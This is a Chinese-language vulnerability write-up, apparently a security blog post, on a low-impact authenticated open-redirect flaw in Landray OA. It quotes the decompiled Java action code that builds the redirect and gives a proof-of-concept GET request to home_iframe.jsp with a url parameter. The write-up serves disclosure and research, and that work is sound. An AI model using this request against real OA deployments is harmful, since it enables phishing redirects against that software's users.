蓝凌OA 后台URL跳转（鸡肋0day）

蓝凌OA后台URL跳转

该漏洞比较鸡肋，代码限制了协议只能为http或者http；但还是想记录下挖洞的过程。

 

漏洞分析

WEB-INFKmssConfigsyspersonstruts.xml中找到操作映射

跟进去查看，已知是st2框架，发现该类里面存在execute方法，该方法调用该类的index方法

 

跟入index方法

public ActionForward index(ActionMapping mapping, ActionForm form, HttpServletRequest request, HttpServletResponse response) throws Exception {
        TimeCounter.logCurrentTime("Action-index", true, this.getClass());
        KmssMessages messages = new KmssMessages();

        try {
            if (!request.getMethod().equals("GET")) {
                throw new UnexpectedRequestException();
            }

            String nav = request.getParameter("nav");
            String xlink = request.getParameter("link");
            request.setAttribute("page_scene", "list");
            request.setAttribute("home_navs", this.getSysPersonMyNavCategoryService().findPersonAllNav());
            if (StringUtil.isNotNull(nav)) {
                SysPersonMyNavLink link = this.getSysPersonMyNavCategoryService().findPersonNavLink(nav);
                if (link != null) {
                    if (this.isSysUrl(link) && (link == null || !link.getFdIsRedirect())) {
                        request.setAttribute("SYS_PERSON_HOME_LINK", link);
                        return new ActionForward(link.getForwardUrl(request.getContextPath()));
                    }

                    return new RedirectingActionForward(link.getFdUrl());
                }
            } else if (StringUtil.isNotNull(xlink)) {
                String xid = xlink;
                String server = LinkInfo.getCurrentServerGroupKey();
                if (xlink.indexOf("://") > 0) {
                    server = xlink.substring(0, xlink.indexOf("://"));
                    xid = xlink.substring(xlink.indexOf("://") + "://".length());
                }

                LinkInfo linkInfo = LinksHelp.findLinkById(xid, server, LinkType.HOME_NAV);
                SysPersonMyNavLink link = this.getSysPersonMyNavCategoryService().findPersonNavLinkByUrl(linkInfo);
                if (link != null) {
                    request.setAttribute("SYS_PERSON_HOME_LINK", link);
                }

                if (linkInfo != null) {
                    if (!linkInfo.getUrl().startsWith("http://") && !linkInfo.getUrl().startsWith("https://")) {
                        if (link == null) {
                            String url = linkInfo.getUrl();
                            if (linkInfo.getServer() != null) {
                                url = LinkInfo.getServerUrlByKey(linkInfo.getServer()) + url;
                                url = url + (url.indexOf("?") > -1 ? "&" : "?") + "iframe=true&LUIID=mainIframe";
                                url = "/sys/person/home_iframe.jsp?url=" + URLEncoder.encode(url, "UTF-8");
                            }

                            return new ActionForward(url);
                        }

                        return new ActionForward(link.getForwardUrl(request.getContextPath()));
                    }

                    return new RedirectingActionForward(linkInfo.getUrl());
                }
            }
        } catch (Exception var13) {
            messages.addError(var13);
        }

        KmssReturnPage.getInstance(request).addMessages(messages).addButton(0).save(request);
        TimeCounter.logCurrentTime("Action-index", false, this.getClass());
        return messages.hasError() ? mapping.findForward("failure") : mapping.findForward("index");
    }
}

代码贴出来 很简单，懂得师傅可以自己看看 一看就懂了，给出poc

GET /sys/person/home_iframe.jsp?url=http://www.baidu.com HTTP/1.1
Host: 192.168.1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: cookie
Upgrade-Insecure-Requests: 1